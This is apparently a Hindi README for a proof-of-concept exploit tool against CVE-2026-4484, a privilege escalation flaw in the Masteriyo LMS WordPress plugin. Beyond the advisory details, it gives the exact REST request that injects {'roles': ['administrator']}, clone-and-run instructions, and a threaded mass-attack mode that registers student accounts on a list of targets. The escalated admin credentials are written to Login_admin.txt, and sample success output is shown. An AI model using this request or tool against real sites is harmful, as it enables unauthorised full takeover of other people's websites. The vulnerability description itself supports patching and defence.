
Masteriyo LMS <= 2.1.6 - अनुपलब्ध प्राधिकरण: प्रमाणित (छात्र+) से व्यवस्थापक तक विशेषाधिकार वृद्धि
Masteriyo LMS <= 2.1.6 - प्राधिकरण की कमी: प्रमाणित (छात्र+) विशेषाधिकार वृद्धि से व्यवस्थापक तक
| क्षेत्र | विवरण |
|---|---|
| CVE ID | CVE-2026-4484 |
| गंभीरता | उच्च — CVSS v3.1 स्कोर: 8.8 |
| वेक्टर | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| प्रभावित सॉफ़्टवेयर | WordPress के लिए Masteriyo LMS प्लगइन |
| प्रभावित संस्करण | 2.1.6 सहित सभी संस्करण |
| भेद्यता प्रकार | विशेषाधिकार वृद्धि (भूमिका हेरफेर) |
| प्रमाणीकरण आवश्यक | हाँ — छात्र-स्तर या उससे ऊपर |
| CWE | CWE-269: अनुचित विशेषाधिकार प्रबंधन |
विवरण:
WordPress के लिए Masteriyo LMS प्लगइन, 2.1.6 सहित उसके सभी संस्करणों में विशेषाधिकार वृद्धि (Privilege Escalation) की भेद्यता से ग्रस्त है। यह भेद्यता InstructorsController::prepare_object_for_database फ़ंक्शन में उत्पन्न होती है, जो REST API अनुरोधों के दौरान भूमिका निर्धारण को ठीक से प्रतिबंधित करने में विफल रहता है। मात्र छात्र-स्तरीय पहुँच वाला एक प्रमाणित हमलावर Masteriyo REST API एंडपॉइंट पर एक विशेष रूप से निर्मित POST अनुरोध भेज सकता है — अनुरोध पेलोड में "roles": ["administrator"] इंजेक्ट करके — और बिना किसी व्यवस्थापकीय हस्तक्षेप के अपने खाते को चुपचाप WordPress व्यवस्थापक (Administrator) में बदल सकता है, जिससे पूर्ण साइट पर कब्ज़ा हो जाता है।
यह एक प्रूफ-ऑफ-कॉन्सेप्ट (PoC) शोषण स्क्रिप्ट है जो Masteriyo LMS प्लगइन के भेद्य संस्करण को चलाने वाले WordPress इंस्टॉलेशन को लक्षित करती है। टूल दो हमले मोड का समर्थन करता है:
| मोड | नाम | प्रवाह | उपयोग-मामला |
|---|---|---|---|
| 1 | Nx_1 | पंजीकरण → लॉगिन → विशेषाधिकार वृद्धि → व्यवस्थापक सत्यापन | नया हमला — कोई मौजूदा खाता आवश्यक नहीं |
| 2 | Nx_2 | लॉगिन → विशेषाधिकार वृद्धि → व्यवस्थापक सत्यापन | मौजूदा खाता उपलब्ध (छात्र/प्रशिक्षक) |
[Register / Login as Student]
↓
[Fetch Dashboard Context — user_id + nonce]
↓
[POST /wp-json/masteriyo/v1/users/instructors/{id}]
[Payload: {"roles": ["administrator"]}]
↓
[Re-login with fresh session]
↓
[Verify /wp-admin access → confirmed Administrator]
↓
[Write to Login_admin.txt]
pip install requests urllib3 colorama
या requirements फ़ाइल के माध्यम से:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
colorama>=0.4.6
# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-4484.git
cd CVE-2026-4484
# Install dependencies
pip install -r requirements.txt
# Run the tool
python3 CVE-2026-4484.py
python3 CVE-2026-4484.py
टूल एक इंटरैक्टिव टर्मिनल इंटरफ़ेस का उपयोग करता है — सभी पैरामीटर रनटाइम पर पूछे जाते हैं।
एक सादा टेक्स्ट फ़ाइल बनाएँ (जैसे, list.txt) जिसमें प्रति पंक्ति एक लक्ष्य हो:
https://target1.com
https://target2.com
http://target3.com/wordpress
इस मोड का उपयोग तब करें जब आपके पास लक्ष्य पर कोई मौजूदा खाता न हो। टूल स्वचालित रूप से एक नया छात्र खाता पंजीकृत करता है, फिर उसके विशेषाधिकार बढ़ाता (escalate) है।
Select mode (1=Nx_1, 2=Nx_2) [2]: 1
Targets list file (one host/URL per line) [list.txt]: list.txt
Threads (concurrent sites) [5]: 5
HTTP timeout (seconds) [10]: 10
Username to register (Nx_1) [Nxploited]: Nxploited
Email to use for registration+login (Nx_1) [[email protected]]: [email protected]
Password to use (Nx_1) [Nx_admin]: Nx_admin123!
स्वचालित रूप से किए जाने वाले चरण:
/account/signup/ → पंजीकरण nonce निकालें/st/ → छात्र के रूप में नया खाता पंजीकृत करें/account/ → लॉगिन nonce निकालें/wp-admin/admin-ajax.php → Masteriyo AJAX के माध्यम से लॉगिन करें/account/#/dashboard → current_user_id + nonce निकालें/wp-json/masteriyo/v1/users/instructors/{id} को {"roles":["administrator"]} के साथ भेजेंLogin_admin.txt में लिखेंइस मोड का उपयोग तब करें जब आपके पास पहले से ही लक्ष्य पर एक मान्य छात्र या प्रशिक्षक खाता हो।
Select mode (1=Nx_1, 2=Nx_2) [2]: 2
Targets list file (one host/URL per line) [list.txt]: list.txt
Threads (concurrent sites) [5]: 5
HTTP timeout (seconds) [10]: 10
Username or Email for login+escalation (Nx_2) [admin]: [email protected]
Password for that user: mypassword
स्वचालित रूप से किए जाने वाले चरण:
/account/ → लॉगिन nonce निकालें/wp-admin/admin-ajax.php → Masteriyo AJAX के माध्यम से लॉगिन करें/account/#/dashboard → current_user_id + nonce निकालें/wp-json/masteriyo/v1/users/instructors/{id} को {"roles":["administrator"]} के साथ भेजेंLogin_admin.txt में लिखें| फ़ाइल | विवरण |
|---|---|
Login_admin.txt | सभी पुष्टिकृत व्यवस्थापक विशेषाधिकार वृद्धियाँ |
https://target.com/wp-login.php user:[email protected]|pass:Nx_admin123!
[OK] https://target.com :: LOGIN OK :: success
[OK] https://target.com :: DASHBOARD :: user_id=42 nonce=a1b2c3d4e5
[OK] https://target.com :: ESCALATE SUCCESS :: user_id=42 username=nxploited roles=['administrator']
[OK] https://target.com :: ADMIN SESSION VERIFIED (dashboard + plugin-install access).
POST /wp-json/masteriyo/v1/users/instructors/{user_id}
{
"roles": ["administrator"]
}
Content-Type: application/json
X-WP-Nonce: <extracted_from_dashboard>
Masteriyo LMS में InstructorsController::prepare_object_for_database फ़ंक्शन REST अनुरोध निकाय से roles पैरामीटर को यह सत्यापित किए बिना संसाधित करता है कि अनुरोध करने वाले उपयोगकर्ता के पास edit_users या promote_users क्षमता है या नहीं। कोई भी प्रमाणित उपयोगकर्ता (छात्र-स्तर या उससे ऊपर) जो इस एंडपॉइंट तक पहुँच सकता है, एक मनमाना भूमिका मान — administrator सहित — प्रस्तुत कर सकता है, जिसे सीधे WordPress उपयोगकर्ता मेटाडेटा तालिका में संग्रहीत कर दिया जाता है।